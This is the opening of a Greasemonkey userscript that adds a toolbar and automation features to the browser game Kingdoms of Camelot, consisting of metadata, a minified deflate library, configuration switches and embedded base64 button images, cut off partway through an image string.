tentruykap / Facebook and Kingdom toolbar

// ==UserScript==
// @name           Facebook and Kingdom toolbar
// @version        1014.08.28
// @namespace      Actko
// @homepage       https://code.google.com/p/koc-power-bot/
// @include        *.kingdomsofcamelot.com/*main_src.php*
// @include        *.kingdomsofcamelot.com/*platforms/kabam*
// @include        *apps.facebook.com/kingdomsofcamelot/*
// @include        *kabam.com/games/kingdoms-of-camelot/play*
// @include        *facebook.com/dialog/feed*
// @exclude 	   *sharethis*
// @include         http://*.facebook.com/*/*
// @grant       unsafeWindow
// @grant       GM_deleteValue
// @grant       GM_getValue
// @grant       GM_setValue
// @grant       GM_listValues
// @grant       GM_addStyle
// @grant       GM_xmlhttpRequest
// @grant       GM_log
// @grant       GM_registerMenuCommand
// @license			http://creativecommons.org/licenses/by-nc-sa/3.0/
// @description    Adder and Auto Features for Kingdoms of Camelot
// ==/UserScript==

//Fixed weird bug with koc game
if(window.self.location != window.top.location){
   try{
      if(window.self.location.href == window.parent.location.href){
         return; //If iframe source is same as the parent don't load script
      }
   } catch (e){
      //logit(inspect(e,2,1));
   }
}

var Version = '20140826a';

var http =  window.location.protocol+"\/\/";

//raw deflate code
(function(e){var t=32768;var n=0;var r=1;var i=2;var s=6;var o=true;var u=32768;var a=64;var f=1024*8;var l=2*t;var c=3;var h=258;var p=16;var d=8192;var v=13;if(d>u)alert("error: zip_INBUFSIZ is too small");if(t<<1>1<<p)alert("error: zip_WSIZE is too large");if(v>p-1)alert("error: zip_HASH_BITS is too large");if(v<8||h!=258)alert("error: Code too clever");var m=d;var g=1<<v;var y=g-1;var b=t-1;var w=0;var E=4096;var S=h+c+1;var x=t-S;var T=1;var N=15;var C=7;var k=29;var L=256;var A=256;var O=L+1+k;var M=30;var _=19;var D=16;var P=17;var H=18;var B=2*O+1;var j=parseInt((v+c-1)/c);var F;var I,q;var R;var U=null;var z,W;var X;var V;var $;var J;var K;var Q;var G;var Y;var Z;var et;var tt;var nt;var rt;var it;var st;var ot;var ut;var at;var ft;var lt;var ct;var ht;var pt;var dt;var vt;var mt;var gt;var yt;var bt;var wt;var Et;var St;var xt;var Tt;var Nt;var Ct;var kt;var Lt;var At;var Ot;var Mt;var _t;var Dt;var Pt;var Ht;var Bt;var jt;var Ft;var It;var qt;var Rt=function(){this.fc=0;this.dl=0};var Ut=function(){this.dyn_tree=null;this.static_tree=null;this.extra_bits=null;this.extra_base=0;this.elems=0;this.max_length=0;this.max_code=0};var zt=function(e,t,n,r){this.good_length=e;this.max_lazy=t;this.nice_length=n;this.max_chain=r};var Wt=function(){this.next=null;this.len=0;this.ptr=new Array(f);this.off=0};var Xt=new Array(0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0);var Vt=new Array(0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13);var $t=new Array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7);var Jt=new Array(16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15);var Kt=new Array(new zt(0,0,0,0),new zt(4,4,8,4),new zt(4,5,16,8),new zt(4,6,32,32),new zt(4,4,16,16),new zt(8,16,32,32),new zt(8,16,128,128),new zt(8,32,128,256),new zt(32,128,258,1024),new zt(32,258,258,4096));var Qt=function(e){var t;if(!e)e=s;else if(e<1)e=1;else if(e>9)e=9;ct=e;R=false;ut=false;if(U!=null)return;F=I=q=null;U=new Array(f);V=new Array(l);$=new Array(m);J=new Array(u+a);K=new Array(1<<p);dt=new Array(B);for(t=0;t<B;t++)dt[t]=new Rt;vt=new Array(2*M+1);for(t=0;t<2*M+1;t++)vt[t]=new Rt;mt=new Array(O+2);for(t=0;t<O+2;t++)mt[t]=new Rt;gt=new Array(M);for(t=0;t<M;t++)gt[t]=new Rt;yt=new Array(2*_+1);for(t=0;t<2*_+1;t++)yt[t]=new Rt;bt=new Ut;wt=new Ut;Et=new Ut;St=new Array(N+1);xt=new Array(2*O+1);Ct=new Array(2*O+1);kt=new Array(h-c+1);Lt=new Array(512);At=new Array(k);Ot=new Array(M);Mt=new Array(parseInt(d/8))};var Gt=function(){F=I=q=null;U=null;V=null;$=null;J=null;K=null;dt=null;vt=null;mt=null;gt=null;yt=null;bt=null;wt=null;Et=null;St=null;xt=null;Ct=null;kt=null;Lt=null;At=null;Ot=null;Mt=null};var Yt=function(e){e.next=F;F=e};var Zt=function(){var e;if(F!=null){e=F;F=F.next}else e=new Wt;e.next=null;e.len=e.off=0;return e};var en=function(e){return K[t+e]};var tn=function(e,n){return K[t+e]=n};var nn=function(e){U[W+z++]=e;if(W+z==f)Hn()};var rn=function(e){e&=65535;if(W+z<f-2){U[W+z++]=e&255;U[W+z++]=e>>>8}else{nn(e&255);nn(e>>>8)}};var sn=function(){Z=(Z<<j^V[st+c-1]&255)&y;et=en(Z);K[st&b]=et;tn(Z,st)};var on=function(e,t){_n(t[e].fc,t[e].dl)};var un=function(e){return(e<256?Lt[e]:Lt[256+(e>>7)])&255};var an=function(e,t,n){return e[t].fc<e[n].fc||e[t].fc==e[n].fc&&Ct[t]<=Ct[n]};var fn=function(e,t,n){var r;for(r=0;r<n&&qt<It.length;r++)e[t+r]=It.charCodeAt(qt++)&255;return r};var ln=function(){var e;for(e=0;e<g;e++)K[t+e]=0;lt=Kt[ct].max_lazy;ht=Kt[ct].good_length;if(!o)pt=Kt[ct].nice_length;ft=Kt[ct].max_chain;st=0;Y=0;at=fn(V,0,2*t);if(at<=0){ut=true;at=0;return}ut=false;while(at<S&&!ut)hn();Z=0;for(e=0;e<c-1;e++){Z=(Z<<j^V[e]&255)&y}};var cn=function(e){var t=ft;var n=st;var r;var i;var s=it;var u=st>x?st-x:w;var a=st+h;var f=V[n+s-1];var l=V[n+s];if(it>=ht)t>>=2;do{r=e;if(V[r+s]!=l||V[r+s-1]!=f||V[r]!=V[n]||V[++r]!=V[n+1]){continue}n+=2;r++;do{}while(V[++n]==V[++r]&&V[++n]==V[++r]&&V[++n]==V[++r]&&V[++n]==V[++r]&&V[++n]==V[++r]&&V[++n]==V[++r]&&V[++n]==V[++r]&&V[++n]==V[++r]&&n<a);i=h-(a-n);n=a-h;if(i>s){ot=e;s=i;if(o){if(i>=h)break}else{if(i>=pt)break}f=V[n+s-1];l=V[n+s]}}while((e=K[e&b])>u&&--t!=0);return s};var hn=function(){var e,n;var r=l-at-st;if(r==-1){r--}else if(st>=t+x){for(e=0;e<t;e++)V[e]=V[e+t];ot-=t;st-=t;Y-=t;for(e=0;e<g;e++){n=en(e);tn(e,n>=t?n-t:w)}for(e=0;e<t;e++){n=K[e];K[e]=n>=t?n-t:w}r+=t}if(!ut){e=fn(V,st+at,r);if(e<=0)ut=true;else at+=e}};var pn=function(){while(at!=0&&I==null){var e;sn();if(et!=w&&st-et<=x){rt=cn(et);if(rt>at)rt=at}if(rt>=c){e=An(st-ot,rt-c);at-=rt;if(rt<=lt){rt--;do{st++;sn()}while(--rt!=0);st++}else{st+=rt;rt=0;Z=V[st]&255;Z=(Z<<j^V[st+1]&255)&y}}else{e=An(0,V[st]&255);at--;st++}if(e){Ln(0);Y=st}while(at<S&&!ut)hn()}};var dn=function(){while(at!=0&&I==null){sn();it=rt;tt=ot;rt=c-1;if(et!=w&&it<lt&&st-et<=x){rt=cn(et);if(rt>at)rt=at;if(rt==c&&st-ot>E){rt--}}if(it>=c&&rt<=it){var e;e=An(st-1-tt,it-c);at-=it-1;it-=2;do{st++;sn()}while(--it!=0);nt=0;rt=c-1;st++;if(e){Ln(0);Y=st}}else if(nt!=0){if(An(0,V[st-1]&255)){Ln(0);Y=st}st++;at--}else{nt=1;st++;at--}while(at<S&&!ut)hn()}};var vn=function(){if(ut)return;Q=0;G=0;yn();ln();I=null;z=0;W=0;nt=0;if(ct<=3){it=c-1;rt=0}else{rt=c-1;nt=0;nt=0}X=false};var mn=function(e,t,n){var r;if(!R){vn();R=true;if(at==0){X=true;return 0}}if((r=gn(e,t,n))==n)return n;if(X)return r;if(ct<=3)pn();else dn();if(at==0){if(nt!=0)An(0,V[st-1]&255);Ln(1);X=true}return r+gn(e,r+t,n-r)};var gn=function(e,t,n){var r,i,s;r=0;while(I!=null&&r<n){i=n-r;if(i>I.len)i=I.len;for(s=0;s<i;s++)e[t+r+s]=I.ptr[I.off+s];I.off+=i;I.len-=i;r+=i;if(I.len==0){var o;o=I;I=I.next;Yt(o)}}if(r==n)return r;if(W<z){i=n-r;if(i>z-W)i=z-W;for(s=0;s<i;s++)e[t+r+s]=U[W+s];W+=i;r+=i;if(z==W)z=W=0}return r};var yn=function(){var e;var t;var n;var r;var i;if(gt[0].dl!=0)return;bt.dyn_tree=dt;bt.static_tree=mt;bt.extra_bits=Xt;bt.extra_base=L+1;bt.elems=O;bt.max_length=N;bt.max_code=0;wt.dyn_tree=vt;wt.static_tree=gt;wt.extra_bits=Vt;wt.extra_base=0;wt.elems=M;wt.max_length=N;wt.max_code=0;Et.dyn_tree=yt;Et.static_tree=null;Et.extra_bits=$t;Et.extra_base=0;Et.elems=_;Et.max_length=C;Et.max_code=0;n=0;for(r=0;r<k-1;r++){At[r]=n;for(e=0;e<1<<Xt[r];e++)kt[n++]=r}kt[n-1]=r;i=0;for(r=0;r<16;r++){Ot[r]=i;for(e=0;e<1<<Vt[r];e++){Lt[i++]=r}}i>>=7;for(;r<M;r++){Ot[r]=i<<7;for(e=0;e<1<<Vt[r]-7;e++)Lt[256+i++]=r}for(t=0;t<=N;t++)St[t]=0;e=0;while(e<=143){mt[e++].dl=8;St[8]++}while(e<=255){mt[e++].dl=9;St[9]++}while(e<=279){mt[e++].dl=7;St[7]++}while(e<=287){mt[e++].dl=8;St[8]++}Sn(mt,O+1);for(e=0;e<M;e++){gt[e].dl=5;gt[e].fc=Dn(e,5)}bn()};var bn=function(){var e;for(e=0;e<O;e++)dt[e].fc=0;for(e=0;e<M;e++)vt[e].fc=0;for(e=0;e<_;e++)yt[e].fc=0;dt[A].fc=1;jt=Ft=0;_t=Dt=Pt=0;Ht=0;Bt=1};var wn=function(e,t){var n=xt[t];var r=t<<1;while(r<=Tt){if(r<Tt&&an(e,xt[r+1],xt[r]))r++;if(an(e,n,xt[r]))break;xt[t]=xt[r];t=r;r<<=1}xt[t]=n};var En=function(e){var t=e.dyn_tree;var n=e.extra_bits;var r=e.extra_base;var i=e.max_code;var s=e.max_length;var o=e.static_tree;var u;var a,f;var l;var c;var h;var p=0;for(l=0;l<=N;l++)St[l]=0;t[xt[Nt]].dl=0;for(u=Nt+1;u<B;u++){a=xt[u];l=t[t[a].dl].dl+1;if(l>s){l=s;p++}t[a].dl=l;if(a>i)continue;St[l]++;c=0;if(a>=r)c=n[a-r];h=t[a].fc;jt+=h*(l+c);if(o!=null)Ft+=h*(o[a].dl+c)}if(p==0)return;do{l=s-1;while(St[l]==0)l--;St[l]--;St[l+1]+=2;St[s]--;p-=2}while(p>0);for(l=s;l!=0;l--){a=St[l];while(a!=0){f=xt[--u];if(f>i)continue;if(t[f].dl!=l){jt+=(l-t[f].dl)*t[f].fc;t[f].fc=l}a--}}};var Sn=function(e,t){var n=new Array(N+1);var r=0;var i;var s;for(i=1;i<=N;i++){r=r+St[i-1]<<1;n[i]=r}for(s=0;s<=t;s++){var o=e[s].dl;if(o==0)continue;e[s].fc=Dn(n[o]++,o)}};var xn=function(e){var t=e.dyn_tree;var n=e.static_tree;var r=e.elems;var i,s;var o=-1;var u=r;Tt=0;Nt=B;for(i=0;i<r;i++){if(t[i].fc!=0){xt[++Tt]=o=i;Ct[i]=0}else t[i].dl=0}while(Tt<2){var a=xt[++Tt]=o<2?++o:0;t[a].fc=1;Ct[a]=0;jt--;if(n!=null)Ft-=n[a].dl}e.max_code=o;for(i=Tt>>1;i>=1;i--)wn(t,i);do{i=xt[T];xt[T]=xt[Tt--];wn(t,T);s=xt[T];xt[--Nt]=i;xt[--Nt]=s;t[u].fc=t[i].fc+t[s].fc;if(Ct[i]>Ct[s]+1)Ct[u]=Ct[i];else Ct[u]=Ct[s]+1;t[i].dl=t[s].dl=u;xt[T]=u++;wn(t,T)}while(Tt>=2);xt[--Nt]=xt[T];En(e);Sn(t,o)};var Tn=function(e,t){var n;var r=-1;var i;var s=e[0].dl;var o=0;var u=7;var a=4;if(s==0){u=138;a=3}e[t+1].dl=65535;for(n=0;n<=t;n++){i=s;s=e[n+1].dl;if(++o<u&&i==s)continue;else if(o<a)yt[i].fc+=o;else if(i!=0){if(i!=r)yt[i].fc++;yt[D].fc++}else if(o<=10)yt[P].fc++;else yt[H].fc++;o=0;r=i;if(s==0){u=138;a=3}else if(i==s){u=6;a=3}else{u=7;a=4}}};var Nn=function(e,t){var n;var r=-1;var i;var s=e[0].dl;var o=0;var u=7;var a=4;if(s==0){u=138;a=3}for(n=0;n<=t;n++){i=s;s=e[n+1].dl;if(++o<u&&i==s){continue}else if(o<a){do{on(i,yt)}while(--o!=0)}else if(i!=0){if(i!=r){on(i,yt);o--}on(D,yt);_n(o-3,2)}else if(o<=10){on(P,yt);_n(o-3,3)}else{on(H,yt);_n(o-11,7)}o=0;r=i;if(s==0){u=138;a=3}else if(i==s){u=6;a=3}else{u=7;a=4}}};var Cn=function(){var e;Tn(dt,bt.max_code);Tn(vt,wt.max_code);xn(Et);for(e=_-1;e>=3;e--){if(yt[Jt[e]].dl!=0)break}jt+=3*(e+1)+5+5+4;return e};var kn=function(e,t,n){var r;_n(e-257,5);_n(t-1,5);_n(n-4,4);for(r=0;r<n;r++){_n(yt[Jt[r]].dl,3)}Nn(dt,e-1);Nn(vt,t-1)};var Ln=function(e){var t,s;var o;var u;u=st-Y;Mt[Pt]=Ht;xn(bt);xn(wt);o=Cn();t=jt+3+7>>3;s=Ft+3+7>>3;if(s<=t)t=s;if(u+4<=t&&Y>=0){var a;_n((n<<1)+e,3);Pn();rn(u);rn(~u);for(a=0;a<u;a++)nn(V[Y+a])}else if(s==t){_n((r<<1)+e,3);On(mt,gt)}else{_n((i<<1)+e,3);kn(bt.max_code+1,wt.max_code+1,o+1);On(dt,vt)}bn();if(e!=0)Pn()};var An=function(e,t){J[_t++]=t;if(e==0){dt[t].fc++}else{e--;dt[kt[t]+L+1].fc++;vt[un(e)].fc++;$[Dt++]=e;Ht|=Bt}Bt<<=1;if((_t&7)==0){Mt[Pt++]=Ht;Ht=0;Bt=1}if(ct>2&&(_t&4095)==0){var n=_t*8;var r=st-Y;var i;for(i=0;i<M;i++){n+=vt[i].fc*(5+Vt[i])}n>>=3;if(Dt<parseInt(_t/2)&&n<parseInt(r/2))return true}return _t==d-1||Dt==m};var On=function(e,t){var n;var r;var i=0;var s=0;var o=0;var u=0;var a;var f;if(_t!=0)do{if((i&7)==0)u=Mt[o++];r=J[i++]&255;if((u&1)==0){on(r,e)}else{a=kt[r];on(a+L+1,e);f=Xt[a];if(f!=0){r-=At[a];_n(r,f)}n=$[s++];a=un(n);on(a,t);f=Vt[a];if(f!=0){n-=Ot[a];_n(n,f)}}u>>=1}while(i<_t);on(A,e)};var Mn=16;var _n=function(e,t){if(G>Mn-t){Q|=e<<G;rn(Q);Q=e>>Mn-G;G+=t-Mn}else{Q|=e<<G;G+=t}};var Dn=function(e,t){var n=0;do{n|=e&1;e>>=1;n<<=1}while(--t>0);return n>>1};var Pn=function(){if(G>8){rn(Q)}else if(G>0){nn(Q)}Q=0;G=0};var Hn=function(){if(z!=0){var e,t;e=Zt();if(I==null)I=q=e;else q=q.next=e;e.len=z-W;for(t=0;t<e.len;t++)e.ptr[t]=U[W+t];z=W=0}};var Bn=function(e,t){var n,r;It=e;qt=0;if(typeof t=="undefined")t=s;Qt(t);var i=new Array(1024);var o=[];while((n=mn(i,0,i.length))>0){var u=new Array(n);for(r=0;r<n;r++){u[r]=String.fromCharCode(i[r])}o[o.length]=u.join("")}It=null;return o.join("")};if(!e.RawDeflate)e.RawDeflate={};e.RawDeflate.deflate=Bn})(this);
// These switches are for testing, all should be set to false for released version:
var DEBUG_TRACE = false;
var DEBUG_SEARCH = false;
var ENABLE_TEST_TAB = false;
var ENABLE_ATTACK_TAB = false;
var ENABLE_SAMPLE_TAB = false;
var DISABLE_BULKADD_LIST = false;
var ENABLE_GM_AJAX_TRACE = false;
var SEND_ALERT_AS_WHISPER = false;
// end test switches

var throttle = 10;
var MAP_DELAY = 4000;
var MAP_SFIELD = 20;
var MAP_DELAY_WATCH = Number(0);
var DEFAULT_ALERT_SOUND_URL = http+'koc-power-bot.googlecode.com/svn/trunk/RedAlert.mp3';
var SWF_PLAYER_URL = http+'koc-power-bot.googlecode.com/svn/trunk/alarmplayer.swf';

var URL_CASTLE_BUT = "data:image/png;base64,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";
var URL_CASTLE_BUT_SEL = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAAAXCAYAAADk3wSdAAAACXBIWXMAAAsSAAALEgHS3X78AAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5